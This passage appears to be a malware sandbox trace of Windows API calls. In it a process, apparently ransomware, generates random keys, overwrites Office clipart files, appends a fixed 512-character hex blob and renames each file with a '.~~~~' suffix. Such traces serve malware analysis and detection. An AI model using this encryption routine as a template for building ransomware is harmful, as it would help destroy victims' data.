	[0092.651] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.651] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.651] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.651] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.651] CloseHandle (hObject=0x128) returned 1
	[0092.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.~~~~")) returned 1
	[0092.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.656] GetLastError () returned 0x0
	[0092.657] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.658] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.658] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.658] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21264801297) returned 1
	[0092.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1001810, dwHighDateTime=0x1d60e1e)) 
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3881a8
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3881a8 | out: hHeap=0x300000) returned 1
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bb30
	[0092.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.659] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.659] GetLastError () returned 0x0
	[0092.659] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.659] GetLastError () returned 0x0
	[0092.720] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffa0c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.720] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5f39, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x5f39, lpOverlapped=0x0) returned 1
	[0092.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.721] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.721] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.721] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.721] CloseHandle (hObject=0x128) returned 1
	[0092.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.~~~~")) returned 1
	[0092.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.738] GetLastError () returned 0x0
	[0092.738] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.739] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.739] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.739] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21272948787) returned 1
	[0092.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa10bfef0, dwHighDateTime=0x1d60e1e)) 
	[0092.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2720
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2720 | out: hHeap=0x300000) returned 1
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bbc8
	[0092.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.740] GetLastError () returned 0x0
	[0092.740] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.740] GetLastError () returned 0x0
	[0092.763] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9a1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.763] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x65e6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x65e6, lpOverlapped=0x0) returned 1
	[0092.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.764] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.764] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.764] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.764] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.765] CloseHandle (hObject=0x128) returned 1
	[0092.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.~~~~")) returned 1
	[0092.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.766] GetLastError () returned 0x0
	[0092.820] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.821] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.821] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.821] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21281157755) returned 1
	[0092.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa117e5d0, dwHighDateTime=0x1d60e1e)) 
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2640
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2640 | out: hHeap=0x300000) returned 1
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bf58
	[0092.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.822] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.822] GetLastError () returned 0x0
	[0092.823] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.823] GetLastError () returned 0x0
	[0092.908] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe4ef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.908] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1b11, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1b11, lpOverlapped=0x0) returned 1
	[0092.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0092.909] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.909] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.909] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.910] CloseHandle (hObject=0x13c) returned 1
	[0092.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.~~~~")) returned 1
	[0092.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.911] GetLastError () returned 0x0
	[0092.911] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0092.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.912] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.912] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21290263726) returned 1
	[0092.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1262e10, dwHighDateTime=0x1d60e1e)) 
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2560
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2560 | out: hHeap=0x300000) returned 1
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bff0
	[0092.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0092.914] GetLastError () returned 0x0
	[0092.914] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0092.914] GetLastError () returned 0x0
	[0093.210] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9466, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.210] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6b9a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x6b9a, lpOverlapped=0x0) returned 1
	[0093.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.212] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.212] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.212] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.212] CloseHandle (hObject=0x13c) returned 1
	[0093.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.~~~~")) returned 1
	[0093.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0093.213] GetLastError () returned 0x0
	[0093.213] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0093.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.214] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0093.215] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21320480106) returned 1
	[0093.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1536830, dwHighDateTime=0x1d60e1e)) 
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a24b8
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a24b8 | out: hHeap=0x300000) returned 1
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c2e8
	[0093.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0093.216] GetLastError () returned 0x0
	[0093.216] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0093.216] GetLastError () returned 0x0
	[0093.241] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffb338, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.241] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4cc8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x4cc8, lpOverlapped=0x0) returned 1
	[0093.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
